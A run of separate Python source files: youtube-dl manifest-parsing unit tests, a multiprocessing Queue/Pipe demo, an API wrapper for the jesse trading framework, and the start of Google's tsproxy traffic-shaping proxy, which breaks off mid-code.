'http://cdnapi.kaltura.com/p/2082311/sp/208231100/playManifest/protocol/http/entryId/0_89q6e8ku/format/applehttp/tags/mobile_sd/f/a.m3u8', [{ 'url': 'http://k.toggle.sg/fhls/p/2082311/sp/208231100/serveFlavor/entryId/0_89q6e8ku/v/2/pv/1/flavorId/0_sa2ntrdg/name/a.mp4/index.m3u8', 'manifest_url': 'http://cdnapi.kaltura.com/p/2082311/sp/208231100/playManifest/protocol/http/entryId/0_89q6e8ku/format/applehttp/tags/mobile_sd/f/a.m3u8', 'ext': 'mp4', 'format_id': 'audio-English', 'protocol': 'm3u8', 'language': 'eng', 'vcodec': 'none', }, { 'url': 'http://k.toggle.sg/fhls/p/2082311/sp/208231100/serveFlavor/entryId/0_89q6e8ku/v/2/pv/1/flavorId/0_r7y0nitg/name/a.mp4/index.m3u8', 'manifest_url': 'http://cdnapi.kaltura.com/p/2082311/sp/208231100/playManifest/protocol/http/entryId/0_89q6e8ku/format/applehttp/tags/mobile_sd/f/a.m3u8', 'ext': 'mp4', 'format_id': 'audio-Undefined', 'protocol': 'm3u8', 'language': 'und', 'vcodec': 'none', }, { 'url': 'http://k.toggle.sg/fhls/p/2082311/sp/208231100/serveFlavor/entryId/0_89q6e8ku/v/2/pv/1/flavorId/0_qlk9hlzr/name/a.mp4/index.m3u8', 'manifest_url': 'http://cdnapi.kaltura.com/p/2082311/sp/208231100/playManifest/protocol/http/entryId/0_89q6e8ku/format/applehttp/tags/mobile_sd/f/a.m3u8', 'ext': 'mp4', 'format_id': '155', 'protocol': 'm3u8', 'tbr': 155.648, 'width': 320, 'height': 180, }, { 'url': 'http://k.toggle.sg/fhls/p/2082311/sp/208231100/serveFlavor/entryId/0_89q6e8ku/v/2/pv/1/flavorId/0_oefackmi/name/a.mp4/index.m3u8', 'manifest_url': 'http://cdnapi.kaltura.com/p/2082311/sp/208231100/playManifest/protocol/http/entryId/0_89q6e8ku/format/applehttp/tags/mobile_sd/f/a.m3u8', 'ext': 'mp4', 'format_id': '502', 'protocol': 'm3u8', 'tbr': 502.784, 'width': 480, 'height': 270, }, { 'url': 'http://k.toggle.sg/fhls/p/2082311/sp/208231100/serveFlavor/entryId/0_89q6e8ku/v/12/pv/1/flavorId/0_vyg9pj7k/name/a.mp4/index.m3u8', 'manifest_url': 'http://cdnapi.kaltura.com/p/2082311/sp/208231100/playManifest/protocol/http/entryId/0_89q6e8ku/format/applehttp/tags/mobile_sd/f/a.m3u8', 'ext': 'mp4', 'format_id': '827', 'protocol': 'm3u8', 'tbr': 827.392, 'width': 640, 'height': 360, }, { 'url': 'http://k.toggle.sg/fhls/p/2082311/sp/208231100/serveFlavor/entryId/0_89q6e8ku/v/12/pv/1/flavorId/0_50n4psvx/name/a.mp4/index.m3u8', 'manifest_url': 'http://cdnapi.kaltura.com/p/2082311/sp/208231100/playManifest/protocol/http/entryId/0_89q6e8ku/format/applehttp/tags/mobile_sd/f/a.m3u8', 'ext': 'mp4', 'format_id': '1396', 'protocol': 'm3u8', 'tbr': 1396.736, 'width': 854, 'height': 480, }] ), ( # http://www.twitch.tv/riotgames/v/6528877 'twitch_vod', 'https://usher.ttvnw.net/vod/6528877?allow_source=true&allow_audio_only=true&allow_spectre=true&player=twitchweb&nauth=%7B%22user_id%22%3Anull%2C%22vod_id%22%3A6528877%2C%22expires%22%3A1492887874%2C%22chansub%22%3A%7B%22restricted_bitrates%22%3A%5B%5D%7D%2C%22privileged%22%3Afalse%2C%22https_required%22%3Afalse%7D&nauthsig=3e29296a6824a0f48f9e731383f77a614fc79bee', [{ 'url': 'https://vod.edgecast.hls.ttvnw.net/e5da31ab49_riotgames_15001215120_261543898/audio_only/index-muted-HM49I092CC.m3u8', 'manifest_url': 'https://usher.ttvnw.net/vod/6528877?allow_source=true&allow_audio_only=true&allow_spectre=true&player=twitchweb&nauth=%7B%22user_id%22%3Anull%2C%22vod_id%22%3A6528877%2C%22expires%22%3A1492887874%2C%22chansub%22%3A%7B%22restricted_bitrates%22%3A%5B%5D%7D%2C%22privileged%22%3Afalse%2C%22https_required%22%3Afalse%7D&nauthsig=3e29296a6824a0f48f9e731383f77a614fc79bee', 'ext': 'mp4', 'format_id': 'Audio Only', 'protocol': 'm3u8', 'acodec': 'mp4a.40.2', 'vcodec': 'none', 'tbr': 182.725, }, { 'url': 'https://vod.edgecast.hls.ttvnw.net/e5da31ab49_riotgames_15001215120_261543898/mobile/index-muted-HM49I092CC.m3u8', 'manifest_url': 'https://usher.ttvnw.net/vod/6528877?allow_source=true&allow_audio_only=true&allow_spectre=true&player=twitchweb&nauth=%7B%22user_id%22%3Anull%2C%22vod_id%22%3A6528877%2C%22expires%22%3A1492887874%2C%22chansub%22%3A%7B%22restricted_bitrates%22%3A%5B%5D%7D%2C%22privileged%22%3Afalse%2C%22https_required%22%3Afalse%7D&nauthsig=3e29296a6824a0f48f9e731383f77a614fc79bee', 'ext': 'mp4', 'format_id': 'Mobile', 'protocol': 'm3u8', 'acodec': 'mp4a.40.2', 'vcodec': 'avc1.42C00D', 'tbr': 280.474, 'width': 400, 'height': 226, }, { 'url': 'https://vod.edgecast.hls.ttvnw.net/e5da31ab49_riotgames_15001215120_261543898/low/index-muted-HM49I092CC.m3u8', 'manifest_url': 'https://usher.ttvnw.net/vod/6528877?allow_source=true&allow_audio_only=true&allow_spectre=true&player=twitchweb&nauth=%7B%22user_id%22%3Anull%2C%22vod_id%22%3A6528877%2C%22expires%22%3A1492887874%2C%22chansub%22%3A%7B%22restricted_bitrates%22%3A%5B%5D%7D%2C%22privileged%22%3Afalse%2C%22https_required%22%3Afalse%7D&nauthsig=3e29296a6824a0f48f9e731383f77a614fc79bee', 'ext': 'mp4', 'format_id': 'Low', 'protocol': 'm3u8', 'acodec': 'mp4a.40.2', 'vcodec': 'avc1.42C01E', 'tbr': 628.347, 'width': 640, 'height': 360, }, { 'url': 'https://vod.edgecast.hls.ttvnw.net/e5da31ab49_riotgames_15001215120_261543898/medium/index-muted-HM49I092CC.m3u8', 'manifest_url': 'https://usher.ttvnw.net/vod/6528877?allow_source=true&allow_audio_only=true&allow_spectre=true&player=twitchweb&nauth=%7B%22user_id%22%3Anull%2C%22vod_id%22%3A6528877%2C%22expires%22%3A1492887874%2C%22chansub%22%3A%7B%22restricted_bitrates%22%3A%5B%5D%7D%2C%22privileged%22%3Afalse%2C%22https_required%22%3Afalse%7D&nauthsig=3e29296a6824a0f48f9e731383f77a614fc79bee', 'ext': 'mp4', 'format_id': 'Medium', 'protocol': 'm3u8', 'acodec': 'mp4a.40.2', 'vcodec': 'avc1.42C01E', 'tbr': 893.387, 'width': 852, 'height': 480, }, { 'url': 'https://vod.edgecast.hls.ttvnw.net/e5da31ab49_riotgames_15001215120_261543898/high/index-muted-HM49I092CC.m3u8', 'manifest_url': 'https://usher.ttvnw.net/vod/6528877?allow_source=true&allow_audio_only=true&allow_spectre=true&player=twitchweb&nauth=%7B%22user_id%22%3Anull%2C%22vod_id%22%3A6528877%2C%22expires%22%3A1492887874%2C%22chansub%22%3A%7B%22restricted_bitrates%22%3A%5B%5D%7D%2C%22privileged%22%3Afalse%2C%22https_required%22%3Afalse%7D&nauthsig=3e29296a6824a0f48f9e731383f77a614fc79bee', 'ext': 'mp4', 'format_id': 'High', 'protocol': 'm3u8', 'acodec': 'mp4a.40.2', 'vcodec': 'avc1.42C01F', 'tbr': 1603.789, 'width': 1280, 'height': 720, }, { 'url': 'https://vod.edgecast.hls.ttvnw.net/e5da31ab49_riotgames_15001215120_261543898/chunked/index-muted-HM49I092CC.m3u8', 'manifest_url': 'https://usher.ttvnw.net/vod/6528877?allow_source=true&allow_audio_only=true&allow_spectre=true&player=twitchweb&nauth=%7B%22user_id%22%3Anull%2C%22vod_id%22%3A6528877%2C%22expires%22%3A1492887874%2C%22chansub%22%3A%7B%22restricted_bitrates%22%3A%5B%5D%7D%2C%22privileged%22%3Afalse%2C%22https_required%22%3Afalse%7D&nauthsig=3e29296a6824a0f48f9e731383f77a614fc79bee', 'ext': 'mp4', 'format_id': 'Source', 'protocol': 'm3u8', 'acodec': 'mp4a.40.2', 'vcodec': 'avc1.100.31', 'tbr': 3214.134, 'width': 1280, 'height': 720, }] ), ( # http://www.vidio.com/watch/165683-dj_ambred-booyah-live-2015 # EXT-X-STREAM-INF tag with NAME attribute that is not defined # in HLS specification 'vidio', 'https://www.vidio.com/videos/165683/playlist.m3u8', [{ 'url': 'https://cdn1-a.production.vidio.static6.com/uploads/165683/dj_ambred-4383-b300.mp4.m3u8', 'manifest_url': 'https://www.vidio.com/videos/165683/playlist.m3u8', 'ext': 'mp4', 'format_id': '270p 3G', 'protocol': 'm3u8', 'tbr': 300, 'width': 480, 'height': 270, }, { 'url': 'https://cdn1-a.production.vidio.static6.com/uploads/165683/dj_ambred-4383-b600.mp4.m3u8', 'manifest_url': 'https://www.vidio.com/videos/165683/playlist.m3u8', 'ext': 'mp4', 'format_id': '360p SD', 'protocol': 'm3u8', 'tbr': 600, 'width': 640, 'height': 360, }, { 'url': 'https://cdn1-a.production.vidio.static6.com/uploads/165683/dj_ambred-4383-b1200.mp4.m3u8', 'manifest_url': 'https://www.vidio.com/videos/165683/playlist.m3u8', 'ext': 'mp4', 'format_id': '720p HD', 'protocol': 'm3u8', 'tbr': 1200, 'width': 1280, 'height': 720, }] ), ( # https://github.com/ytdl-org/youtube-dl/issues/18923 # https://www.ted.com/talks/boris_hesser_a_grassroots_healthcare_revolution_in_africa 'ted_18923', 'http://hls.ted.com/talks/31241.m3u8', [{ 'url': 'http://hls.ted.com/videos/BorisHesser_2018S/audio/600k.m3u8?nobumpers=true&uniqueId=76011e2b', 'format_id': '600k-Audio', 'vcodec': 'none', }, { 'url': 'http://hls.ted.com/videos/BorisHesser_2018S/audio/600k.m3u8?nobumpers=true&uniqueId=76011e2b', 'format_id': '68', 'vcodec': 'none', }, { 'url': 'http://hls.ted.com/videos/BorisHesser_2018S/video/64k.m3u8?nobumpers=true&uniqueId=76011e2b', 'format_id': '163', 'acodec': 'none', 'width': 320, 'height': 180, }, { 'url': 'http://hls.ted.com/videos/BorisHesser_2018S/video/180k.m3u8?nobumpers=true&uniqueId=76011e2b', 'format_id': '481', 'acodec': 'none', 'width': 512, 'height': 288, }, { 'url': 'http://hls.ted.com/videos/BorisHesser_2018S/video/320k.m3u8?nobumpers=true&uniqueId=76011e2b', 'format_id': '769', 'acodec': 'none', 'width': 512, 'height': 288, }, { 'url': 'http://hls.ted.com/videos/BorisHesser_2018S/video/450k.m3u8?nobumpers=true&uniqueId=76011e2b', 'format_id': '984', 'acodec': 'none', 'width': 512, 'height': 288, }, { 'url': 'http://hls.ted.com/videos/BorisHesser_2018S/video/600k.m3u8?nobumpers=true&uniqueId=76011e2b', 'format_id': '1255', 'acodec': 'none', 'width': 640, 'height': 360, }, { 'url': 'http://hls.ted.com/videos/BorisHesser_2018S/video/950k.m3u8?nobumpers=true&uniqueId=76011e2b', 'format_id': '1693', 'acodec': 'none', 'width': 853, 'height': 480, }, { 'url': 'http://hls.ted.com/videos/BorisHesser_2018S/video/1500k.m3u8?nobumpers=true&uniqueId=76011e2b', 'format_id': '2462', 'acodec': 'none', 'width': 1280, 'height': 720, }] ), ] for m3u8_file, m3u8_url, expected_formats in _TEST_CASES: with io.open('./test/testdata/m3u8/%s.m3u8' % m3u8_file, mode='r', encoding='utf-8') as f: formats = self.ie._parse_m3u8_formats( f.read(), m3u8_url, ext='mp4') self.ie._sort_formats(formats) expect_value(self, formats, expected_formats, None) def test_parse_mpd_formats(self): _TEST_CASES = [ ( # https://github.com/ytdl-org/youtube-dl/issues/13919 # Also tests duplicate representation ids, see # https://github.com/ytdl-org/youtube-dl/issues/15111 'float_duration', 'http://unknown/manifest.mpd', # mpd_url None, # mpd_base_url [{ 'manifest_url': 'http://unknown/manifest.mpd', 'ext': 'm4a', 'format_id': '318597', 'format_note': 'DASH audio', 'protocol': 'http_dash_segments', 'acodec': 'mp4a.40.2', 'vcodec': 'none', 'tbr': 61.587, }, { 'manifest_url': 'http://unknown/manifest.mpd', 'ext': 'mp4', 'format_id': '318597', 'format_note': 'DASH video', 'protocol': 'http_dash_segments', 'acodec': 'none', 'vcodec': 'avc1.42001f', 'tbr': 318.597, 'width': 340, 'height': 192, }, { 'manifest_url': 'http://unknown/manifest.mpd', 'ext': 'mp4', 'format_id': '638590', 'format_note': 'DASH video', 'protocol': 'http_dash_segments', 'acodec': 'none', 'vcodec': 'avc1.42001f', 'tbr': 638.59, 'width': 512, 'height': 288, }, { 'manifest_url': 'http://unknown/manifest.mpd', 'ext': 'mp4', 'format_id': '1022565', 'format_note': 'DASH video', 'protocol': 'http_dash_segments', 'acodec': 'none', 'vcodec': 'avc1.4d001f', 'tbr': 1022.565, 'width': 688, 'height': 384, }, { 'manifest_url': 'http://unknown/manifest.mpd', 'ext': 'mp4', 'format_id': '2046506', 'format_note': 'DASH video', 'protocol': 'http_dash_segments', 'acodec': 'none', 'vcodec': 'avc1.4d001f', 'tbr': 2046.506, 'width': 1024, 'height': 576, }, { 'manifest_url': 'http://unknown/manifest.mpd', 'ext': 'mp4', 'format_id': '3998017', 'format_note': 'DASH video', 'protocol': 'http_dash_segments', 'acodec': 'none', 'vcodec': 'avc1.640029', 'tbr': 3998.017, 'width': 1280, 'height': 720, }, { 'manifest_url': 'http://unknown/manifest.mpd', 'ext': 'mp4', 'format_id': '5997485', 'format_note': 'DASH video', 'protocol': 'http_dash_segments', 'acodec': 'none', 'vcodec': 'avc1.640032', 'tbr': 5997.485, 'width': 1920, 'height': 1080, }] ), ( # https://github.com/ytdl-org/youtube-dl/pull/14844 'urls_only', 'http://unknown/manifest.mpd', # mpd_url None, # mpd_base_url [{ 'manifest_url': 'http://unknown/manifest.mpd', 'ext': 'mp4', 'format_id': 'h264_aac_144p_m4s', 'format_note': 'DASH video', 'protocol': 'http_dash_segments', 'acodec': 'mp4a.40.2', 'vcodec': 'avc3.42c01e', 'tbr': 200, 'width': 256, 'height': 144, }, { 'manifest_url': 'http://unknown/manifest.mpd', 'ext': 'mp4', 'format_id': 'h264_aac_240p_m4s', 'format_note': 'DASH video', 'protocol': 'http_dash_segments', 'acodec': 'mp4a.40.2', 'vcodec': 'avc3.42c01e', 'tbr': 400, 'width': 424, 'height': 240, }, { 'manifest_url': 'http://unknown/manifest.mpd', 'ext': 'mp4', 'format_id': 'h264_aac_360p_m4s', 'format_note': 'DASH video', 'protocol': 'http_dash_segments', 'acodec': 'mp4a.40.2', 'vcodec': 'avc3.42c01e', 'tbr': 800, 'width': 640, 'height': 360, }, { 'manifest_url': 'http://unknown/manifest.mpd', 'ext': 'mp4', 'format_id': 'h264_aac_480p_m4s', 'format_note': 'DASH video', 'protocol': 'http_dash_segments', 'acodec': 'mp4a.40.2', 'vcodec': 'avc3.42c01e', 'tbr': 1200, 'width': 856, 'height': 480, }, { 'manifest_url': 'http://unknown/manifest.mpd', 'ext': 'mp4', 'format_id': 'h264_aac_576p_m4s', 'format_note': 'DASH video', 'protocol': 'http_dash_segments', 'acodec': 'mp4a.40.2', 'vcodec': 'avc3.42c01e', 'tbr': 1600, 'width': 1024, 'height': 576, }, { 'manifest_url': 'http://unknown/manifest.mpd', 'ext': 'mp4', 'format_id': 'h264_aac_720p_m4s', 'format_note': 'DASH video', 'protocol': 'http_dash_segments', 'acodec': 'mp4a.40.2', 'vcodec': 'avc3.42c01e', 'tbr': 2400, 'width': 1280, 'height': 720, }, { 'manifest_url': 'http://unknown/manifest.mpd', 'ext': 'mp4', 'format_id': 'h264_aac_1080p_m4s', 'format_note': 'DASH video', 'protocol': 'http_dash_segments', 'acodec': 'mp4a.40.2', 'vcodec': 'avc3.42c01e', 'tbr': 4400, 'width': 1920, 'height': 1080, }] ), ( # https://github.com/ytdl-org/youtube-dl/issues/20346 # Media considered unfragmented even though it contains # Initialization tag 'unfragmented', 'https://v.redd.it/hw1x7rcg7zl21/DASHPlaylist.mpd', # mpd_url 'https://v.redd.it/hw1x7rcg7zl21', # mpd_base_url [{ 'url': 'https://v.redd.it/hw1x7rcg7zl21/audio', 'manifest_url': 'https://v.redd.it/hw1x7rcg7zl21/DASHPlaylist.mpd', 'ext': 'm4a', 'format_id': 'AUDIO-1', 'format_note': 'DASH audio', 'container': 'm4a_dash', 'acodec': 'mp4a.40.2', 'vcodec': 'none', 'tbr': 129.87, 'asr': 48000, }, { 'url': 'https://v.redd.it/hw1x7rcg7zl21/DASH_240', 'manifest_url': 'https://v.redd.it/hw1x7rcg7zl21/DASHPlaylist.mpd', 'ext': 'mp4', 'format_id': 'VIDEO-2', 'format_note': 'DASH video', 'container': 'mp4_dash', 'acodec': 'none', 'vcodec': 'avc1.4d401e', 'tbr': 608.0, 'width': 240, 'height': 240, 'fps': 30, }, { 'url': 'https://v.redd.it/hw1x7rcg7zl21/DASH_360', 'manifest_url': 'https://v.redd.it/hw1x7rcg7zl21/DASHPlaylist.mpd', 'ext': 'mp4', 'format_id': 'VIDEO-1', 'format_note': 'DASH video', 'container': 'mp4_dash', 'acodec': 'none', 'vcodec': 'avc1.4d401e', 'tbr': 804.261, 'width': 360, 'height': 360, 'fps': 30, }] ) ] for mpd_file, mpd_url, mpd_base_url, expected_formats in _TEST_CASES: with io.open('./test/testdata/mpd/%s.mpd' % mpd_file, mode='r', encoding='utf-8') as f: formats = self.ie._parse_mpd_formats( compat_etree_fromstring(f.read().encode('utf-8')), mpd_base_url=mpd_base_url, mpd_url=mpd_url) self.ie._sort_formats(formats) expect_value(self, formats, expected_formats, None) def test_parse_f4m_formats(self): _TEST_CASES = [ ( # https://github.com/ytdl-org/youtube-dl/issues/14660 'custom_base_url', 'http://api.new.livestream.com/accounts/6115179/events/6764928/videos/144884262.f4m', [{ 'manifest_url': 'http://api.new.livestream.com/accounts/6115179/events/6764928/videos/144884262.f4m', 'ext': 'flv', 'format_id': '2148', 'protocol': 'f4m', 'tbr': 2148, 'width': 1280, 'height': 720, }] ), ] for f4m_file, f4m_url, expected_formats in _TEST_CASES: with io.open('./test/testdata/f4m/%s.f4m' % f4m_file, mode='r', encoding='utf-8') as f: formats = self.ie._parse_f4m_formats( compat_etree_fromstring(f.read().encode('utf-8')), f4m_url, None) self.ie._sort_formats(formats) expect_value(self, formats, expected_formats, None) def test_parse_xspf(self): _TEST_CASES = [ ( 'foo_xspf', 'https://example.org/src/foo_xspf.xspf', [{ 'id': 'foo_xspf', 'title': 'Pandemonium', 'description': 'Visit http://bigbrother404.bandcamp.com', 'duration': 202.416, 'formats': [{ 'manifest_url': 'https://example.org/src/foo_xspf.xspf', 'url': 'https://example.org/src/cd1/track%201.mp3', }], }, { 'id': 'foo_xspf', 'title': 'Final Cartridge (Nichico Twelve Remix)', 'description': 'Visit http://bigbrother404.bandcamp.com', 'duration': 255.857, 'formats': [{ 'manifest_url': 'https://example.org/src/foo_xspf.xspf', 'url': 'https://example.org/%E3%83%88%E3%83%A9%E3%83%83%E3%82%AF%E3%80%80%EF%BC%92.mp3', }], }, { 'id': 'foo_xspf', 'title': 'Rebuilding Nightingale', 'description': 'Visit http://bigbrother404.bandcamp.com', 'duration': 287.915, 'formats': [{ 'manifest_url': 'https://example.org/src/foo_xspf.xspf', 'url': 'https://example.org/src/track3.mp3', }, { 'manifest_url': 'https://example.org/src/foo_xspf.xspf', 'url': 'https://example.com/track3.mp3', }] }] ), ] for xspf_file, xspf_url, expected_entries in _TEST_CASES: with io.open('./test/testdata/xspf/%s.xspf' % xspf_file, mode='r', encoding='utf-8') as f: entries = self.ie._parse_xspf( compat_etree_fromstring(f.read().encode('utf-8')), xspf_file, xspf_url=xspf_url, xspf_base_url=xspf_url) expect_value(self, entries, expected_entries, None) for i in range(len(entries)): expect_dict(self, entries[i], expected_entries[i]) def test_response_with_expected_status_returns_content(self): # Checks for mitigations against the effects of # <https://bugs.python.org/issue15002> that affect Python 3.4.1+, which # manifest as `_download_webpage`, `_download_xml`, `_download_json`, # or the underlying `_download_webpage_handle` returning no content # when a response matches `expected_status`. httpd = compat_http_server.HTTPServer( ('127.0.0.1', 0), InfoExtractorTestRequestHandler) port = http_server_port(httpd) server_thread = threading.Thread(target=httpd.serve_forever) server_thread.daemon = True server_thread.start() (content, urlh) = self.ie._download_webpage_handle( 'http://127.0.0.1:%d/teapot' % port, None, expected_status=TEAPOT_RESPONSE_STATUS) self.assertEqual(content, TEAPOT_RESPONSE_BODY) if __name__ == '__main__': unittest.main()
process.py
# -*- coding:utf-8 -*- # Process Connection, Communication # 多进程通信 """ >>> 队列消息:Queue >>> 管道通信:Pipe (send , recv) 两个函数 >>> """ from multiprocessing import Process, Queue import os import time import random # 写数据进程执行的代码: def write(q): print('Process to write: %s' % os.getpid()) for value in ['A', 'B', 'C']: print('Put %s to queue...' % value) q.put(value) time.sleep(random.random()) # 读数据进程执行的代码: def read(q): print('Process to read: %s' % os.getpid()) while True: value = q.get() print('Get %s from queue.' % value) # Queue通信 if __name__ == '__main__2': # 父进程创建Queue,并传给各个子进程: q = Queue() pw = Process(target=write, args=(q,)) pr = Process(target=read, args=(q,)) # 启动子进程pw,写入: pw.start() # 启动子进程pr,读取: pr.start() # 等待pw结束: pw.join() # pr进程里是死循环,无法等待其结束,只能强行终止: pr.terminate() ########################################################### from multiprocessing import Process, Pipe def f(conn): conn.send([42, None, 'hello']) while True: print(conn.recv()) if __name__ == '__main__': parent_conn, child_conn = Pipe() p = Process(target=f, args=(child_conn,)) p.start() print(parent_conn.recv()) # prints "[42, None, 'hello']" parent_conn.send('666') p.terminate() #################################################################
api.py
import threading import jesse.helpers as jh class API: def __init__(self): self.drivers = {} if not jh.is_live(): self.initiate_drivers() def initiate_drivers(self): for e in jh.get_config('app.considering_exchanges'): if jh.is_live(): def initiate_ws(exchange_name: str): exchange_class = jh.get_config('app.live_drivers.{}'.format(exchange_name)) self.drivers[exchange_name] = exchange_class() threading.Thread(target=initiate_ws, args=[e]).start() else: from jesse.exchanges import Sandbox self.drivers[e] = Sandbox(e) def market_order(self, exchange, symbol, qty, current_price, side, role, flags): return self.drivers[exchange].market_order(symbol, qty, current_price, side, role, flags) def limit_order(self, exchange, symbol, qty, price, side, role, flags): return self.drivers[exchange].limit_order(symbol, qty, price, side, role, flags) def stop_order(self, exchange, symbol, qty, price, side, role, flags): return self.drivers[exchange].stop_order(symbol, qty, price, side, role, flags) def cancel_all_orders(self, exchange, symbol): return self.drivers[exchange].cancel_all_orders(symbol) def cancel_order(self, exchange, symbol, order_id): return self.drivers[exchange].cancel_order(symbol, order_id) api = API()
tsproxy.py
#!/usr/bin/env python """ Copyright 2016 Google Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import asyncore import gc import logging import platform import Queue import re import signal import socket import sys import threading import time server = None in_pipe = None out_pipe = None must_exit = False options = None dest_addresses = None connections = {} dns_cache = {} port_mappings = None map_localhost = False needs_flush = False flush_pipes = False last_activity = None REMOVE_TCP_OVERHEAD = 1460.0 / 1500.0 lock = threading.Lock() background_activity_count = 0 def PrintMessage(msg): # Print the message to stdout & flush to make sure that the message is not # buffered when tsproxy is run as a subprocess. print >> sys.stdout, msg sys.stdout.flush() ######################################################################################################################## # Traffic-shaping pipe (just passthrough for now) ######################################################################################################################## class TSPipe(): PIPE_IN = 0 PIPE_OUT = 1 def __init__(self, direction, latency, kbps): self.direction = direction self.latency = latency self.kbps = kbps self.queue = Queue.Queue() self.last_tick = time.clock() self.next_message = None self.available_bytes = .0 self.peer = 'server' if self.direction == self.PIPE_IN: self.peer = 'client' def SendMessage(self, message, main_thread = True): global connections, in_pipe, out_pipe message_sent = False now = time.clock() if message['message'] == 'closed': message['time'] = now else: message['time'] = time.clock() + self.latency message['size'] = .0 if 'data' in message: message['size'] = float(len(message['data'])) try: connection_id = message['connection'] # Send messages directly, bypassing the queues is throttling is disabled and we are on the main thread if main_thread and connection_id in connections and self.peer in connections[connection_id]and self.latency == 0 and self.kbps == .0: message_sent = self.SendPeerMessage(message) except: pass if not message_sent: try: self.queue.put(message) except: pass def SendPeerMessage(self, message): global last_activity last_activity = time.clock() message_sent = False connection_id = message['connection'] if connection_id in connections: if self.peer in connections[connection_id]: try: connections[connection_id][self.peer].handle_message(message) message_sent = True except: # Clean up any disconnected connections try: connections[connection_id]['server'].close() except: pass try: connections[connection_id]['client'].close() except: pass del connections[connection_id] return message_sent def tick(self): global connections global flush_pipes processed_messages = False now = time.clock() try: if self.next_message is None: self.next_message = self.queue.get_nowait() # Accumulate bandwidth if an available packet/message was waiting since our last tick if self.next_message is not None and self.kbps > .0 and self.next_message['time'] <= now: elapsed = now - self.last_tick accumulated_bytes = elapsed * self.kbps * 1000.0 / 8.0 self.available_bytes += accumulated_bytes # process messages as long as the next message is sendable (latency or available bytes) while (self.next_message is not None) and\ (flush_pipes or ((self.next_message['time'] <= now) and (self.kbps <= .0 or self.next_message['size'] <= self.available_bytes))): self.queue.task_done() processed_messages = True if self.kbps > .0: self.available_bytes -= self.next_message['size'] self.SendPeerMessage(self.next_message) self.next_message = None self.next_message = self.queue.get_nowait() except: pass # Only accumulate bytes while we have messages that are ready to send if self.next_message is None or self.next_message['time'] > now: self.available_bytes = .0 self.last_tick = now return processed_messages ######################################################################################################################## # Threaded DNS resolver ######################################################################################################################## class AsyncDNS(threading.Thread): def __init__(self, client_id, hostname, port, is_localhost, result_pipe): threading.Thread.__init__(self) self.hostname = hostname self.port = port self.client_id = client_id self.is_localhost = is_localhost self.result_pipe = result_pipe def run(self): global lock, background_activity_count try: logging.debug('[{0:d}] AsyncDNS - calling getaddrinfo for {1}:{2:d}'.format(self.client_id, self.hostname, self.port)) addresses = socket.getaddrinfo(self.hostname, self.port) logging.info('[{0:d}] Resolving {1}:{2:d} Completed'.format(self.client_id, self.hostname, self.port)) except: addresses = () logging.info('[{0:d}] Resolving {1}:{2:d} Failed'.format(self.client_id, self.hostname, self.port)) message = {'message': 'resolved', 'connection': self.client_id, 'addresses': addresses, 'localhost': self.is_localhost} self.result_pipe.SendMessage(message, False) lock.acquire() if background_activity_count > 0: background_activity_count -= 1 lock.release() # open and close a local socket which will interrupt the long polling loop to process the message s = socket.socket() s.connect((server.ipaddr, server.port)) s.close() ######################################################################################################################## # TCP Client ######################################################################################################################## class TCPConnection(asyncore.dispatcher): STATE_ERROR = -1 STATE_IDLE = 0 STATE_RESOLVING = 1 STATE_CONNECTING = 2 STATE_CONNECTED = 3 def __init__(self, client_id): global options asyncore.dispatcher.__init__(self) self.client_id = client_id self.state = self.STATE_IDLE self.buffer = '' self.addr = None self.dns_thread = None self.hostname = None self.port = None self.needs_config = True self.needs_close = False self.did_resolve = False def SendMessage(self, type, message): message['message'] = type message['connection'] = self.client_id in_pipe.SendMessage(message) def handle_message(self, message): if message['message'] == 'data' and 'data' in message and len(message['data']): self.buffer += message['data'] if self.state == self.STATE_CONNECTED: self.handle_write() elif message['message'] == 'resolve': self.HandleResolve(message) elif message['message'] == 'connect': self.HandleConnect(message) elif message['message'] == 'closed': if len(self.buffer) == 0: self.handle_close() else: self.needs_close = True def handle_error(self): logging.warning('[{0:d}] Error'.format(self.client_id)) if self.state == self.STATE_CONNECTING: self.SendMessage('connected', {'success': False, 'address': self.addr}) def handle_close(self): logging.info('[{0:d}] Server Connection Closed'.format(self.client_id)) self.state = self.STATE_ERROR self.close() try: if self.client_id in connections: if 'server' in connections[self.client_id]: del connections[self.client_id]['server'] if 'client' in connections[self.client_id]: self.SendMessage('closed', {}) else: del connections[self.client_id] except: pass def handle_connect(self): if self.state == self.STATE_CONNECTING: self.state = self.STATE_CONNECTED self.SendMessage('connected', {'success': True, 'address': self.addr}) logging.info('[{0:d}] Connected'.format(self.client_id)) self.handle_write() def writable(self): if self.state == self.STATE_CONNECTING: return True return len(self.buffer) > 0 def handle_write(self): if self.needs_config: self.needs_config = False self.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) self.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 128 * 1024) self.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 128 * 1024) if len(self.buffer) > 0: sent = self.send(self.buffer) logging.debug('[{0:d}] TCP => {1:d} byte(s)'.format(self.client_id, sent)) self.buffer = self.buffer[sent:] if self.needs_close and len(self.buffer) == 0: self.needs_close = False self.handle_close() def handle_read(self): try: while True: data = self.recv(1460) if data: if self.state == self.STATE_CONNECTED: logging.debug('[{0:d}] TCP <= {1:d} byte(s)'.format(self.client_id, len(data))) self.SendMessage('data', {'data': data}) else: return except: pass def HandleResolve(self, message): global in_pipe, map_localhost, lock, background_activity_count self.did_resolve = True is_localhost = False if 'hostname' in message: self.hostname = message['hostname'] self.port = 0 if 'port' in message: self.port = message['port'] logging.info('[{0:d}] Resolving {1}:{2:d}'.format(self.client_id, self.hostname, self.port)) if self.hostname == 'localhost': self.hostname = '127.0.0.1' if self.hostname == '127.0.0.1': logging.info('[{0:d}] Connection to localhost detected'.format(self.client_id)) is_localhost = True if (dest_addresses is not None) and (not is_localhost or map_localhost): logging.info('[{0:d}] Resolving {1}:{2:d} to mapped address {3}'.format(self.client_id, self.hostname, self.port, dest_addresses)) self.SendMessage('resolved', {'addresses': dest_addresses, 'localhost': False}) else: lock.acquire() background_activity_count += 1 lock.release() self.state = self.STATE_RESOLVING self.dns_thread = AsyncDNS(self.client_id, self.hostname, self.port, is_localhost, in_pipe) self.dns_thread.start() def 